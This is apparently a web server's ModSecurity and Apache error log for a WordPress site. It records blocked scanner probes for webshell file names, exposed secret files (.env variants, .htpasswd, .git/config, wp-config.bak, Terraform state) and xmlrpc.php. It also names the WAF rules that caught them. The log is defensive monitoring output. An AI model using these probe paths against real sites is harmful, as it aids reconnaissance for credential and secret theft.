[Mon May 04 23:47:41.106291 2026] [:error] [pid 32471:tid 32478] [client 20.29.119.89:64767] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file32.php"] [unique_id "afi_nXmjpb9EYq6AqhKQ2wAAAQQ"]
[Mon May 04 23:47:41.588597 2026] [:error] [pid 3341:tid 3368] [client 20.29.119.89:61540] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file32.php"] [unique_id "afi_nU9o3_LordU0wW6dEgAAAJg"]
[Mon May 04 23:47:41.993850 2026] [:error] [pid 3341:tid 3358] [client 20.29.119.89:62132] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file32.php"] [unique_id "afi_nU9o3_LordU0wW6dFAAAAI4"]
[Mon May 04 23:47:42.410754 2026] [:error] [pid 3341:tid 3366] [client 20.29.119.89:61520] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file32.php"] [unique_id "afi_nk9o3_LordU0wW6dFQAAAJY"]
[Mon May 04 23:47:42.812260 2026] [:error] [pid 32471:tid 32494] [client 20.29.119.89:64058] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class-wp.php"] [unique_id "afi_nnmjpb9EYq6AqhKQ3wAAARQ"]
[Mon May 04 23:47:43.256674 2026] [:error] [pid 32471:tid 32492] [client 20.29.119.89:63393] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class-wp.php"] [unique_id "afi_n3mjpb9EYq6AqhKQ4AAAARI"]
[Mon May 04 23:47:43.763056 2026] [:error] [pid 32471:tid 32488] [client 20.29.119.89:62824] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class-wp.php"] [unique_id "afi_n3mjpb9EYq6AqhKQ4wAAAQ4"]
[Mon May 04 23:47:44.152045 2026] [:error] [pid 32471:tid 32484] [client 20.29.119.89:65400] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class-wp.php"] [unique_id "afi_oHmjpb9EYq6AqhKQ5AAAAQo"]
[Mon May 04 23:47:44.590668 2026] [:error] [pid 32471:tid 32498] [client 20.29.119.89:60825] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-act.php"] [unique_id "afi_oHmjpb9EYq6AqhKQ5gAAARg"]
[Mon May 04 23:47:44.996668 2026] [:error] [pid 61042:tid 61060] [client 20.29.119.89:63384] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-act.php"] [unique_id "afi_oEnAPPS1fjubA9RxFQAAAM4"]
[Mon May 04 23:47:45.525579 2026] [:error] [pid 32471:tid 32478] [client 20.29.119.89:65360] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-act.php"] [unique_id "afi_oXmjpb9EYq6AqhKQ6AAAAQQ"]
[Mon May 04 23:47:45.971164 2026] [:error] [pid 61150:tid 61158] [client 20.29.119.89:62788] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-act.php"] [unique_id "afi_oe8QXWVLiwIGVpenpAAAAUU"]
[Tue May 05 02:33:04.412485 2026] [:error] [pid 61044:tid 61106] [client 96.62.228.101:59900] [client 96.62.228.101] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.staging"] [unique_id "afjmYEw8w2zZZXI6H1vSHAAAAAQ"]
[Tue May 05 02:33:04.444567 2026] [:error] [pid 61044:tid 61108] [client 96.62.228.101:59594] [client 96.62.228.101] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||rcacivilgroup.com|F|2"] [data ".tfstate.backup"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "rcacivilgroup.com"] [uri "/terraform.tfstate.backup"] [unique_id "afjmYEw8w2zZZXI6H1vSHQAAAAY"]
[Tue May 05 02:33:04.473411 2026] [:error] [pid 61043:tid 61096] [client 96.62.228.101:59462] [client 96.62.228.101] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/admin/.env"] [unique_id "afjmYJ8-LwtfURjiAbAL9gAAAFU"]
[Tue May 05 02:33:04.473462 2026] [:error] [pid 32471:tid 32494] [client 96.62.228.101:59456] [client 96.62.228.101] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/api/.env"] [unique_id "afjmYHmjpb9EYq6AqhLCCAAAARQ"]
[Tue May 05 02:33:04.473895 2026] [:error] [pid 61150:tid 61170] [client 96.62.228.101:59438] [client 96.62.228.101] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.example"] [unique_id "afjmYO8QXWVLiwIGVpfErAAAAVE"]
[Tue May 05 02:33:04.474606 2026] [:error] [pid 61044:tid 61122] [client 96.62.228.101:59446] [client 96.62.228.101] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/app/.env"] [unique_id "afjmYEw8w2zZZXI6H1vSIAAAABQ"]
[Tue May 05 02:33:04.477445 2026] [:error] [pid 32471:tid 32493] [client 96.62.228.101:59678] [client 96.62.228.101] ModSecurity: Access denied with code 403 (phase 1). Matched phrase ".htpasswd" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.htpasswd"] [unique_id "afjmYHmjpb9EYq6AqhLCCgAAARM"]
[Tue May 05 02:33:04.477449 2026] [:error] [pid 61044:tid 61117] [client 96.62.228.101:59478] [client 96.62.228.101] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/public/.env"] [unique_id "afjmYEw8w2zZZXI6H1vSIgAAAA8"]
[Tue May 05 02:33:04.732272 2026] [:error] [pid 61042:tid 61058] [client 96.62.228.101:59698] [client 96.62.228.101] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||rcacivilgroup.com|F|2"] [data ".conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "rcacivilgroup.com"] [uri "/pip.conf"] [unique_id "afjmYEnAPPS1fjubA9SIMQAAAMw"]
[Tue May 05 02:33:04.979121 2026] [:error] [pid 61044:tid 61102] [client 96.62.228.101:59594] [client 96.62.228.101] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "afjmYEw8w2zZZXI6H1vSJgAAAAA"]
[Tue May 05 02:33:05.196613 2026] [:error] [pid 32471:tid 32495] [client 96.62.228.101:59912] [client 96.62.228.101] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.test"] [unique_id "afjmYXmjpb9EYq6AqhLCCwAAARU"]
[Tue May 05 02:33:05.450589 2026] [:error] [pid 61042:tid 61068] [client 96.62.228.101:59518] [client 96.62.228.101] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.production.bak"] [unique_id "afjmYUnAPPS1fjubA9SINAAAANY"]
[Tue May 05 02:33:06.278939 2026] [:error] [pid 32471:tid 32492] [client 96.62.228.101:59412] [client 96.62.228.101] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.old"] [unique_id "afjmYnmjpb9EYq6AqhLCEAAAARI"]
[Tue May 05 02:33:06.280072 2026] [:error] [pid 61044:tid 61105] [client 96.62.228.101:59372] [client 96.62.228.101] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.local"] [unique_id "afjmYkw8w2zZZXI6H1vSKAAAAAM"]
[Tue May 05 02:33:06.282948 2026] [:error] [pid 61043:tid 61076] [client 96.62.228.101:59380] [client 96.62.228.101] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.production"] [unique_id "afjmYp8-LwtfURjiAbAL-wAAAEE"]
[Tue May 05 02:33:06.282973 2026] [:error] [pid 32471:tid 32475] [client 96.62.228.101:59398] [client 96.62.228.101] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.bak"] [unique_id "afjmYnmjpb9EYq6AqhLCEwAAAQE"]
[Tue May 05 02:33:06.283392 2026] [:error] [pid 32471:tid 32480] [client 96.62.228.101:59390] [client 96.62.228.101] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.development"] [unique_id "afjmYnmjpb9EYq6AqhLCFQAAAQY"]
[Tue May 05 02:33:06.283537 2026] [:error] [pid 32471:tid 32474] [client 96.62.228.101:59368] [client 96.62.228.101] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env"] [unique_id "afjmYnmjpb9EYq6AqhLCFgAAAQA"]
[Tue May 05 02:33:06.283828 2026] [:error] [pid 32471:tid 32491] [client 96.62.228.101:59486] [client 96.62.228.101] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/backend/.env"] [unique_id "afjmYnmjpb9EYq6AqhLCFwAAARE"]
[Tue May 05 02:33:06.311354 2026] [:error] [pid 32471:tid 32476] [client 96.62.228.101:59624] [client 96.62.228.101] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.bak" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/wp-config.bak"] [unique_id "afjmYnmjpb9EYq6AqhLCGQAAAQI"]
[Tue May 05 02:33:06.313030 2026] [:error] [pid 61042:tid 61050] [client 96.62.228.101:59424] [client 96.62.228.101] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.backup"] [unique_id "afjmYknAPPS1fjubA9SINgAAAMQ"]
[Tue May 05 02:33:07.060173 2026] [:error] [pid 61044:tid 61116] [client 96.62.228.101:59884] [client 96.62.228.101] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||rcacivilgroup.com|F|2"] [data ".log"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "rcacivilgroup.com"] [uri "/storage/logs/laravel.log"] [unique_id "afjmY0w8w2zZZXI6H1vSLwAAAA4"]
[Tue May 05 04:26:49.946897 2026] [:error] [pid 39072:tid 39119] [client 103.200.135.86:37397] [client 103.200.135.86] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env"] [unique_id "afkBCfolSHl4aAnrIovNLgAAAEw"]
[Tue May 05 04:26:50.183428 2026] [:error] [pid 39178:tid 39190] [client 103.200.135.86:37471] [client 103.200.135.86] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.example"] [unique_id "afkBCjaPrgTaiOD_15se_wAAAMo"]
[Tue May 05 05:34:45.735464 2026] [:error] [pid 39072:tid 39118] [client 189.162.114.80:54618] [client 189.162.114.80] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 189.162.114.80, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afkQ9folSHl4aAnrIovbeQAAAEs"]
[Tue May 05 05:34:56.072928 2026] [:error] [pid 41055:tid 41077] [client 189.162.114.80:34448] [client 189.162.114.80] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 189.162.114.80, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afkRACepFwKgA_SKOHiwTgAAARM"]
[Tue May 05 05:35:06.668143 2026] [:error] [pid 41055:tid 41081] [client 189.162.114.80:55568] [client 189.162.114.80] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 189.162.114.80, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afkRCiepFwKgA_SKOHiwWQAAARc"]
[Tue May 05 05:35:17.302964 2026] [:error] [pid 39073:tid 39158] [client 189.162.114.80:35755] [client 189.162.114.80] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 189.162.114.80, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afkRFf0kT1BNjk46BkcYdQAAAJg"]
[Tue May 05 05:35:27.934965 2026] [:error] [pid 39178:tid 39190] [client 189.162.114.80:56312] [client 189.162.114.80] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 189.162.114.80, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afkRHzaPrgTaiOD_15s7ZQAAAMo"]
[Tue May 05 05:57:35.037823 2026] [autoindex:error] [pid 39178:tid 39188] [client 45.92.229.20:60097] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Tue May 05 07:18:46.312764 2026] [:error] [pid 39178:tid 39198] [client 43.153.122.30:47356] [client 43.153.122.30] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "afkpVjaPrgTaiOD_15tgkQAAANI"]
[Tue May 05 07:45:47.112429 2026] [autoindex:error] [pid 41055:tid 41076] [client 164.68.113.198:54518] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Tue May 05 07:48:41.806382 2026] [autoindex:error] [pid 53856:tid 53873] [client 185.82.72.3:39605] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue May 05 07:48:48.747790 2026] [autoindex:error] [pid 53856:tid 53875] [client 185.82.72.3:39605] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue May 05 07:49:15.533195 2026] [autoindex:error] [pid 53856:tid 53887] [client 185.82.72.3:39605] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/midnight/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue May 05 07:49:20.029761 2026] [autoindex:error] [pid 53856:tid 53881] [client 185.82.72.3:39605] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/style-engine/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue May 05 07:49:30.889872 2026] [autoindex:error] [pid 53856:tid 53884] [client 185.82.72.3:39605] AH01276: Cannot serve directory /home/rcacivils/public_html/.well-known/pki-validation/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue May 05 07:49:31.173135 2026] [autoindex:error] [pid 53856:tid 53886] [client 185.82.72.3:39605] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue May 05 07:49:31.485108 2026] [autoindex:error] [pid 53856:tid 53869] [client 185.82.72.3:39605] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue May 05 07:49:41.224499 2026] [autoindex:error] [pid 53856:tid 53887] [client 185.82.72.3:39605] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/IXR/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue May 05 07:49:41.498358 2026] [autoindex:error] [pid 53856:tid 53882] [client 185.82.72.3:39605] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue May 05 07:49:41.777033 2026] [autoindex:error] [pid 53856:tid 53874] [client 185.82.72.3:39605] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/images/smilies/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue May 05 07:49:42.055956 2026] [autoindex:error] [pid 53856:tid 53870] [client 185.82.72.3:39605] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/crop/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue May 05 07:49:42.335380 2026] [autoindex:error] [pid 53856:tid 53867] [client 185.82.72.3:39605] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/PHPMailer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
